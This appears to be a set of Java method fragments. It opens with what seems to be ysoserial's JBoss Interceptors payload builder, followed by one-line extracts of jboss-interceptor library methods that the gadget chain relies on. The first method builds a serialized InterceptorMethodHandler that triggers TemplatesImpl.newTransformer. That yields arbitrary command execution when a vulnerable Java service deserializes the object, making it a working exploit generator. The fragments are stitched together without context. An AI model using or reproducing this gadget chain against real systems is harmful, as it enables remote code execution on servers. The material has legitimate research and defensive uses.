public Object getObject(final String command) throws Exception { final Object gadget = Gadgets.createTemplatesImpl(command); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); Set<InterceptionType> s = new HashSet<InterceptionType>(); s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); defaultMethodMetadataConstructor.setAccessible(true); MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); List list = new ArrayList(); list.add(methodMetadata); Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>(); hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); builder.interceptAll().with(simpleInterceptorMetadata); InterceptionModel model = builder.build(); HashMap map = new HashMap(); map.put("ysoserial", "ysoserial"); DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { public Object createFor(InterceptorReference paramInterceptorReference) { return gadget; } }; return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); }
public static InterceptorMetadata readMetadataForTargetClass(ClassMetadata<?> classMetadata) { return new SimpleInterceptorMetadata(ClassMetadataInterceptorReference.of(classMetadata), true, buildMethodMap(classMetadata, true)); }
public static MethodMetadata of(Method method) { return new DefaultMethodMetadata(method, new ReflectiveAnnotatedMethodReader()); }
public static InterceptorMetadata readMetadataForInterceptorClass(InterceptorReference<?> interceptorReference) { return new SimpleInterceptorMetadata(interceptorReference, false, buildMethodMap(interceptorReference.getClassMetadata(), false)); }
public <T> InterceptorMetadata<T> getInterceptorMetadata(Class<T> clazz) { try { return (InterceptorMetadata<T>) interceptorMetadataCache.get(ClassMetadataInterceptorReference.of(reflectiveClassMetadataCache.get(clazz))); } catch (ComputationException e) { if (unwrapRuntimeExceptions && e.getCause() instanceof RuntimeException) { throw (RuntimeException) e.getCause(); } throw e; } }
public ClassMetadata<?> apply(Class<?> from) { return ReflectiveClassMetadata.of(from); } });
private DefaultMethodMetadata(M methodReference, AnnotatedMethodReader<M> annotationReader) { this.javaMethod = annotationReader.getJavaMethod(methodReference); for (InterceptionType interceptionType: InterceptionTypeRegistry.getSupportedInterceptionTypes()) { if (annotationReader.getAnnotation(InterceptionTypeRegistry.getAnnotationClass(interceptionType), methodReference) != null) { supportedInterceptorTypes.add(interceptionType); } } }
public InterceptorMetadata<?> apply(ClassMetadata<?> from) { return InterceptorMetadataUtils.readMetadataForTargetClass(from); } });
private Object readResolve() throws ObjectStreamException { return new DefaultMethodMetadata(supportedInterceptionTypes, methodReference); }
public static <T> ClassMetadata<T> of(Class<T> clazz) { return new ReflectiveClassMetadata<T>(clazz); }
public InterceptorMetadata<?> apply(InterceptorReference<?> from) { return InterceptorMetadataUtils.readMetadataForInterceptorClass(from); } });
public ClassMetadata<?> getInterceptor() { // here the interceptor type is the class itself, so this duplicates getClassMetadata() return getClassMetadata(); }
public static InterceptorReference<ClassMetadata<?>> of(ClassMetadata<?> classMetadata) { return new ClassMetadataInterceptorReference(classMetadata); }
private Object writeReplace() { return new DefaultMethodMetadataSerializationProxy(supportedInterceptorTypes, MethodReference.of(this, true)); }
LOG.warn(getStandardIgnoredMessage(interceptionType, method.getJavaMethod()) + "does not have a void return type"); LOG.warn(getStandardIgnoredMessage(interceptionType, method.getJavaMethod()) + "is defined on the target class and does not have 0 arguments"); LOG.warn(getStandardIgnoredMessage(interceptionType, method.getJavaMethod()) + "does not have exactly one parameter"); LOG.warn(getStandardIgnoredMessage(interceptionType, method.getJavaMethod()) + "its single argument is not a " + InvocationContext.class.getName()); LOG.warn(getStandardIgnoredMessage(interceptionType, method.getJavaMethod()) + "does not return a " + OBJECT_CLASS_NAME); LOG.debug(getStandardIgnoredMessage(interceptionType, method.getJavaMethod()) + "does not have exactly 1 parameter"); LOG.debug(getStandardIgnoredMessage(interceptionType, method.getJavaMethod()) + "does not have a " + InvocationContext.class.getName() + " parameter ");
if (isInterceptorMethod(interceptionType, method, forTargetClass))
public <T> InterceptorMetadata<T> getInterceptorMetadata(ClassMetadata<T> clazz) { try { return (InterceptorMetadata<T>) interceptorMetadataCache.get(ClassMetadataInterceptorReference.of(clazz)); } catch (ComputationException e) { if (unwrapRuntimeExceptions && e.getCause() instanceof RuntimeException) { throw (RuntimeException) e.getCause(); } throw e; } }
public InterceptorMethodHandler(Object targetInstance, ClassMetadata<?> targetClassMetadata, InterceptionModel<ClassMetadata<?>, ?> interceptionModel, InterceptorInstantiator<?,?> interceptorInstantiator, InvocationContextFactory invocationContextFactory ) { this.targetInstance = targetInstance; this.invocationContextFactory = invocationContextFactory; if (interceptionModel == null) { throw new IllegalArgumentException("Interception model must not be null"); } if (interceptorInstantiator == null) { throw new IllegalArgumentException("Interception handler factory must not be null"); } this.interceptionModel = interceptionModel; for (InterceptorMetadata interceptorMetadata : this.interceptionModel.getAllInterceptors()) { interceptorHandlerInstances.put(interceptorMetadata, interceptorInstantiator.createFor(interceptorMetadata.getInterceptorReference())); } targetClassInterceptorMetadata = InterceptorMetadataUtils.readMetadataForTargetClass(targetClassMetadata); }
public static <M> MethodMetadata of(M methodReference, AnnotatedMethodReader<M> methodReader) { return new DefaultMethodMetadata(methodReference, methodReader); }
@SuppressWarnings({ "unchecked", "rawtypes" }) public ClassMetadata<?> getSuperclass() { Class<?> superClass = clazz.getSuperclass(); return superClass == null? null : new ReflectiveClassMetadata(superClass); }